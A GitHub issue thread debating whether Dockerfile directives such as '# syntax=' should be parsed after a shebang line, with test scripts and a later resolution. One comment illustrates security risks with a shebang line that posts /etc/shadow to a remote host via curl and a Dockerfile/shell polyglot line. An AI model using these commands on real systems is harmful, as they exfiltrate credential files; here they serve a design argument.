Proposal: Directives should be parsed even if they appear after a shebang line in the dockerfile

[CreativeCactus]

Directive parser currently treats a shebang as a regular comment, hence stops parsing when one is encountered. This leads to the unexpected behavior where a shebang will work but will cause directives to be ignored. I propose that A) the directive parser ignores shebang lines according to a simple regex, and would further suggest (but not propose) that B) the directive parser abort behavior be rethought, for example so that it only aborts once it reads an instruction, which would allow directives to be mixed in with comments for readability, or so that it is scope-based rather than line-based.

In the absence of A, I would suggest that C) an error or warning be introduced to prevent directives from being ignored in this unexpected way.

B would be a more breaking change and is not entirely defined, but A only changes these cases:

#!/usr/bin/env -S docker build . -f
# syntax=123
FROM busybox

chmod +x Dockerfile
./Dockerfile

1. This should ignore directives and create an image from busybox (CURRENT)
2. This should throw an error, because docker.io/library/123:latest doesn't exist (PROPOSAL A)
3. This should throw an error, because it contains a shebang (PROPOSAL C)

More details and an implementation of proposal A is provided at #2870 .

[tonistiigi]

@AkihiroSuda @thaJeztah @crazy-max WDYT? Is this worth a change?

My thinking is that:

• We should not promote using shebang with Dockerfiles. There are many builders that support building Dockerfiles. User should not hardcode one of them into the Dockerfile itself. Even Buildkit itself can be called through at least 5 different clients. If a project prefers one of them it should be set on the caller side, not in the Dockerfile itself. There is also a security implication in here. Dockerfile itself can't set anything that is outside the security sandbox or leaks information(image tags etc). Promoting something like this would mean that running Dockerfiles is not secure by default and user would need to always check the first line. More clearer to just always make the user specify the builder and options when invoking the Dockerfile.
• This change would not be backward compatible. If anyone starts adding shebang on top of the Dockerfile, the old builders would not parse directives correctly, and the build would fail or have undefined behavior. Defining #syntax doesn't help in here as the change is in directive parsing itself before the Dockerfile image is loaded.

[thaJeztah]

Yeah, not sure either; sounds like a very corner case (and a compose file or bake file seems like a better way to describe build options).

(We could also make the reverse case "syntax before shebang should be supported", which would also be unlikely)

[CreativeCactus]

I'm not sure I understand...

User should not hardcode one of them into the Dockerfile itself.

• "Should not" or "should not be able to"? Because they are already able to, and this doesn't prevent someone from passing the same dockerfile to a different builder, it just allows the dockerfile to establish a default when it is executed.
• Does this change constitute "promoting" the use of shebang any more than is already supported? Why does that matter?
• Shebang is not a different client, it is a mechanism for invoking a client. This doesn't introduce any support/compatibility cost.
• Backwards compatibility is an argument against supporting shebangs in case someone is trying to use two different versions. By this logic, directives should not have been introduced at all, and should not be changed, since they would work differently over different versions and are not unlikely to conflict with existing comments eg # syntax = stupid. The incompatibility scenario here is I have a dockerfile with a shebang and comments which look like unused syntax/escape directives, and I am upset that my directives started getting parsed in newer versions. I cannot change my comment format nor use an older version..
  • Directives are already a bit hacky, using comment syntax to pre-configure the parser is just a reinvention of using environment variables, configuration files, or flags, all of which can be implemented by one or more shebang lines, or not, and are cleaner to implement than an additional scanner like ParseDirectives, which uses relatively slow & ugly regex.
  • What undefined behavior are you referring to? With and without a "directive parser that ignores shebangs" are two simple, very well-defined scenarios.

Promoting something like this would mean that running Dockerfiles is not secure by default and user would need to always check the first line.

• Do you mean "promoting" or "supporting"?
• Running any file is not secure by default. Do you mean "running" or "interpreting"? Proposal A would see directives parsed correctly when interpreting, but would not otherwise change the interpreting behavior of the dockerfile, and as such has no technical security impact (more on the "security" of valid dockerfiles below). The builder will still ignore the shebang, it just wont break directives in the process.
  • You can already run a Dockerfile which contains one line: #!/usr/bin/env -S curl http://example.com -d@/etc/shadow. Is your position that supporting executable Dockerfiles with directives will promote it to the point that people will be less likely to check the file that they are running because it is a dockerfile, rather than a bake file or something worth checking? Does the directive support make such a difference?
  • The security implications of an executable Dockerfile are only avoidable with something like proposal C, which would not prevent similar attacks, which currently work and do not use a shebang: ARG X=||curl http://example.com is both valid as a dockerfile and as an executable in a bash shell.

More clearer to just always make the user specify the builder and options when invoking the Dockerfile.

• Do you mean "invoking" as in "running" or as in "interpreting"?
• Isn't this is the opposite of what directives do? Unlike directives, shebangs allow the user to decide which approach is clearer.

(We could also make the reverse case "syntax before shebang should be supported", which would also be unlikely)

• We could, but that wouldn't work. If it did, it would be a great proposal. What is your point? That directives are important and should go at the top of the file?

Actually, we can do this...

# escape=`

FROM busybox
RUN : # `
echo running on host $HOSTNAME && docker build . -f ./Dockerfile #`
df(){
RUN echo blah blah
RUN : # `
}

chmod +x ./Dockerfile
./Dockerfile
# ./Dockerfile: line 3: FROM: command not found
# ./Dockerfile: line 4: RUN: command not found
# running on host blah
# [+] Building 1.0s (8/8) FINISHED
#  => CACHED [1/4] FROM docker.io/library/busybox
#  => [2/4] RUN : # echo running on host $HOSTNAME && docker build . -f ./Dockerfile #df(){
#  => [3/4] RUN echo blah blah
#  => [4/4] RUN : # }
#  => exporting to image

or even this, which will use a different syntax depending on whether it was run or interpreted...

# escape=`
ARG X=` `
docker build . -f - <<a="b"
# escape=`
# syntax=123
FROM busybox
RUN echo example # `
LABEL `
a="b"

docker build . uses default syntax but ./Dockerfile uses 123.

[DYefimov]

Test script

#!/usr/bin/env sh

TEST_DIR=./shebang_test

mkdir -p $TEST_DIR
rm -rf $TEST_DIR/*

cat << PROXY_LAUNCHER > ~/.local/bin/launch_docker_build && chmod +x ~/.local/bin/launch_docker_build
#!/usr/bin/env sh
echo \$1
pwd
docker buildx build --progress=plain \$(dirname \$1)
PROXY_LAUNCHER

cat << DOCKERFILE > $TEST_DIR/dockerfile && chmod +x $TEST_DIR/dockerfile && $TEST_DIR/dockerfile
#!/usr/bin/env launch_docker_build

# you can omit the proxy script at all and siplify the above as follows
# #!/usr/bin/env -S docker buildx build $TEST_DIR
# -S option is avaliable since gnu coreutils 8.30
# it is required due to how shebang is processed
# it passes optional argument as a single string without word splitting
# https://www.man7.org/linux/man-pages/man1/env.1.html
# ("apt-cache policy coreutils" to check the version, if you are using apt of cause)

#syntax=is not the first line of the dockerfile - unfortunately will fail

FROM alpine

WORKDIR /test

RUN pwd
DOCKERFILE

Spoiler: Test script output

dyefimov@dyefimov-home:~/work/tmp$ ./shebang_test.sh 
./shebang_test/dockerfile
/home/dyefimov/work/tmp
#1 [internal] load build definition from dockerfile
#1 sha256:55151122f653e2f6c7427385427aa2b550d578a86a258af72196f99abd514831
#1 transferring dockerfile: 623B done
#1 DONE 0.0s

#2 [internal] load .dockerignore
#2 sha256:d68824407a3fd92be03c7a072010bfbe4094f0e55a041ff16fb8ab67a03e8682
#2 transferring context: 2B done
#2 DONE 0.0s

#3 [internal] load metadata for docker.io/library/alpine:latest
#3 sha256:d4fb25f5b5c00defc20ce26f2efc4e288de8834ed5aa59dff877b495ba88fda6
#3 DONE 0.0s

#4 [1/3] FROM docker.io/library/alpine
#4 sha256:665ba8b2cdc0cb0200e2a42a6b3c0f8f684089f4cd1b81494fbb9805879120f7
#4 CACHED

#5 [2/3] WORKDIR /test
#5 sha256:ae89fb4fe2eba528c1ed8d9673ee04e6b2a1279e6c627ab24380e9ed0a5a0e43
#5 DONE 0.1s

#6 [3/3] RUN pwd
#6 sha256:75868ae81d28909e12b95304edd263d2b56fde0b9ccc890a1b6d3e537752e6c2
#6 0.546 /test
#6 DONE 0.7s

#7 exporting to image
#7 sha256:e8c613e07b0b7ff33893b694f7759a10d42e180f2b4dc349fb57dc6b71dcab00
#7 exporting layers 0.1s done
#7 writing image sha256:7d390bed39a92e293f7d60b5e696b71980a2c24cb815ada350fbee58eb666836 done
#7 DONE 0.1s

Apparently, I read your intention the wrong way, sorry. Updating the comment.

What if #syntax is deliberately placed on a second line by someone? Is there anything stopping you from using the shebang to call a wrapper script, that will funnel the dockerfile to the builder of your choice? And dropping the #syntax completely?

[CreativeCactus]

Deliberately as in to avoid it running? Under proposal A, it will still be ignored unless that first line was a shebang. I think that is a small enough edge case to make a breaking change since most people probably expect their syntax directives to work even if they are using a shebang. If backwards compatibility is really such a concern, see my extended proposal to use environment variables in addition to directives, below.

Is there anything stopping you from using the shebang to call a wrapper script, that will funnel the dockerfile to the builder of your choice? And dropping the #syntax completely?

Currently there is no elegant solution. Usually for hacky ideas I will use dockerode or similar, but this seemed like an elegant and obvious use case.

Ideally directives should be replaced with environment variables, in my opinion. The variable can be read into the directive map when it is initialized. That way, directives can still be used to override environment (is that counter-intuitive?). In addition to proposal A, this would allow directives to be controlled by the shebang, which is not a use case that I have, but sounds neat.

That is out of scope, though. The minimum POC use case for this PR is:

#!/usr/bin/env -S docker build . -f
#syantx=blah
FROM busybox
RUN echo hello

I just want to run that Dockerfile with directives working. I could write some wrappers and scripts to make this work, but that would be overkill just to use two fairly compatible features together.

As mentioned, I think support for environment variables would solve this nicely, but I don't want to put that PR together until the feature has been discussed here.

[DYefimov]

Deliberately as in to avoid it running?

Yep, exactly - to avoid it running. I saw a couple of cases, and use such an approach myself sometimes - this is a quick way to "comment out" the syntax. So "most" doesn't imply "all" thus leaving a possibility to break things. And as pointed out by @tonistiigi definitely a breaking change. Usually such modifications are a subject of major version increment.

Ideally directives should be replaced with environment variables, in my opinion.

Completely agree with you on this one. #syntax directive is a bit misleading, and looks like a circular dependency. But admittedly it is fulfilling its goal - reproduce-ability, if I got it right. IMHO directives solve something that can't be solved by conventional already-in-place means. The downside is yet another layer of complexity in the already overcomplicated project. More on this later.

In addition to proposal A, this would allow directives to be controlled by the shebang, which is not a use case that I have, but sounds neat.

Isn't all the required functionality mostly out there? Isn't the BUILDKIT_SYNTAX build argument the thing you want?

Take a look at this quick and dirty MVP - it solves the minimal POC you provided:

Just a slight modification of the script in my previous comment

#!/usr/bin/env sh

TEST_DIR=./shebang_test

mkdir -p $TEST_DIR
rm -rf $TEST_DIR/*


cat << PROXY_LAUNCHER > ~/.local/bin/launch_docker_build && chmod +x ~/.local/bin/launch_docker_build
#!/usr/bin/env bash

echo "==========================="
echo "Reading file: \$1"

while IFS= read -r line
do
    [[ \$line =~ ^#[[:space:]]syntax=.* ]] && syntax=\${line##"# syntax="} && break
    [[ \$line =~ ^(#.*|[[:space:]]*) ]] && continue
    break
done < "\$1"

echo "your syntax is: \$syntax"

echo "calling: docker buildx build --progress=plain \$([[ -n \$syntax ]] && echo --build-arg=BUILDKIT_SYNTAX="\$syntax ")\$(dirname \$1)"
echo "==========================="

docker buildx build --progress=plain \$([[ -n \$syntax ]] && echo --build-arg=BUILDKIT_SYNTAX="\$syntax ")\$(dirname \$1)
PROXY_LAUNCHER


cat << DOCKERFILE > $TEST_DIR/dockerfile && chmod +x $TEST_DIR/dockerfile && $TEST_DIR/dockerfile
#!/usr/bin/env launch_docker_build

# you can omit the proxy script at all and simplify the above as follows
# #!/usr/bin/env -S docker buildx build $TEST_DIR
# -S option is avaliable since gnu coreutils 8.30 
# ("apt-cache policy coreutils" to check the version, if you are using apt of cause)
# it is required due to how shebang is processed
# it passes optional argument as a single string without word splitting
# https://www.man7.org/linux/man-pages/man1/env.1.html

# syntax=dyefimov/dockerfile:2893COPY-preserve-top-dir-labs
# syntax=docker/dockerfile:1

FROM alpine

WORKDIR /test

RUN pwd
DOCKERFILE

And it's output

dyefimov@dyefimov-home:~/work/tmp$ ./shebang_test.sh 
===========================
Reading file: ./shebang_test/dockerfile
your syntax is: dyefimov/dockerfile:2893COPY-preserve-top-dir-labs
calling: docker buildx build --progress=plain --build-arg=BUILDKIT_SYNTAX=dyefimov/dockerfile:2893COPY-preserve-top-dir-labs ./shebang_test
===========================
#1 [internal] load build definition from dockerfile
<...followed by a successful build with the respective syntax...>

Otherwise it could be solved like this:

#!/usr/bin/env -S docker buildx build --build-arg=BUILDKIT_SYNTAX=blah . -f
FROM busybox
RUN echo hello

Some arguments for you to consider, TL;DR :

• please, don't introduce complexity, try dropping it down, like always everywhere no matter what
• as stated in the documentation, we are incentivised to build on top of the docker, not inside the docker, if at all possible
• current implementation poses more stricter rules on directives, leaving less room for an accidental mistake (would be fun to hide #syntax in a middle of a huge comment), also narrowing the attack surface
• why *NIX kernel detects shebang by the first two bytes only? shouldn't we listen to the thing proven to be stable for tenths of years?

...and if you feel like reading

Given 30 years of experience in software engineering one might come to a conclusion that the most valuable principle in software development is KISS. It may sound controversial at first, but that's the most difficult feat to achieve. Humans tend to overcomplicate things. Expressing your thought in a concise manner means you have come to a better understanding of a problem as a whole.

The reasoning behind KISS is quite simple. The more complex the project is the less likely you'll be able to "fit it in your brains RAM". Edge cases amount grows exponentially with every level of complexity you add to your project. At some point you aren't capable of predicting the behavior of your own system anymore. In other words - you loose control over your own codebase. Maintanance cost grows exponentially as well. That's in brief.

Digging though sources and making some changes myself... oh boy how complex the project is already. No offense here - all implications are understandable and common. Praise the maintainers for their tremendous effort keeping this beastie running.

To my personal preference directives are completely unnecessary and duplicate functionality available.

If I'd be developing such a thing - I'd stick to shebangs for syntax handling as a common and world wide accepted approach. Like so:

• drop support for directives in future major version of buildkit
• made synax a mandatory argument during builds, so users upgraded will be forced to notice and react
• on *NIX systems, you can use shebangs, if you still want to couple a buildsystem to a dockerfile itself
• on WIN systems, you do the same, but utilize file associations to route your script to a respective interpreter

The most satisfying process in software development - throwing away huge chunks of your own perfectly fine code. If that's unachievable and your project is still complex - chunk it into more fine logical parts (highly modular component design). Always prefer "linux ideology" to "windows": "linux ideology" - every component is very very tiny and tailored to do it's thing and only that, and polished to perfection; "windows ideology" - everything can do everything.

[CreativeCactus]

Thanks for the compelling and balanced points.

I did not see the Built-in build args at the bottom of this page. I will PR a mention of it.

build-arg does indeed solve my immediate use case, so I am happy to redirect or move this proposal to focus on a more general simplification of the directives pattern, with a vision to deprecate it (with a few major versions of backwards compatible support) and focus on a more unified and flexible configuration interface, such as environment or something else. I believe this would help your issue at #2893 - though I haven't read everything there, it seems like you want some metaprogramming for IAC. You might have some luck using docker-modem to script your builds, though it seems that you are very familiar with POSIX, it might give you a better experience than wrangling file descriptors and pipes from the shell.

I think this relates to a larger problem with the direction of Dockerfile. Heredocs are nice and variable expansion is useful. Custom frontends is cool too. All of this seems like trying to create a programming language, though. The same thing happened to HCL. You mentioned unix philosophy or "linux ideology", I agree we should apply this thinking to Dockerfile.

Some responses to specific points

You cannot hide #syntax inside a comment using proposal A unless all of those comments look like shebangs. Ordinary comments will still abort the directive parser. It seems that we now agree that the directive parser should be deprecated.

I will point out that *Nix kernel might not be the best reference for modern configuration language design. We should be backwards compatible where possible, but I don't think developers want to worry about whether there is an extra \n or even \n\r before their shebang. I am on the fence about double shebangs though, but they work elegantly (if a bit ugly and magical) in Nixos. This may be more complex than checking for 2 bytes in 99% of cases, but I believe there is a trade off in developer experience (the computer should be able to decide accurately, intuitively and consistently if I mean to use a shebang or not) which is better addressed by modularity (unix philosophy) than overall simplicity.

While it is technically a breaking change, I will bet that there are only a single digit number of active projects which use a shebang (rather than any other comment) to switch off their directives :stuck_out_tongue: It depends how well-defined the pattern for a shebang is.

Related to the original argument in favor of better shebang support: [esnext] add support for hashbang syntax. I actually ended up there while looking into double-shebang support, which is much less common, but is a useful pattern in NixOS.

[jedevc]

Since https://github.com/moby/buildkit/pull/2937, syntax directives on the line after a shebang is now supported:

https://github.com/moby/buildkit/blob/dc706a966d050323082c44de9c5bfe49b7251191/frontend/dockerfile/parser/directives.go#L103-L111

However, this applies only for syntax directives, this doesn't change the syntax of the dockerfile to allow any other directives to appear after that shebang.

This essentially is the same as Proposal A from the original issue:

#!/usr/bin/env -S docker build . -f
# syntax=123
FROM busybox

chmod +x Dockerfile
./Dockerfile

This should throw an error, because docker.io/library/123:latest doesn't exist (PROPOSAL A)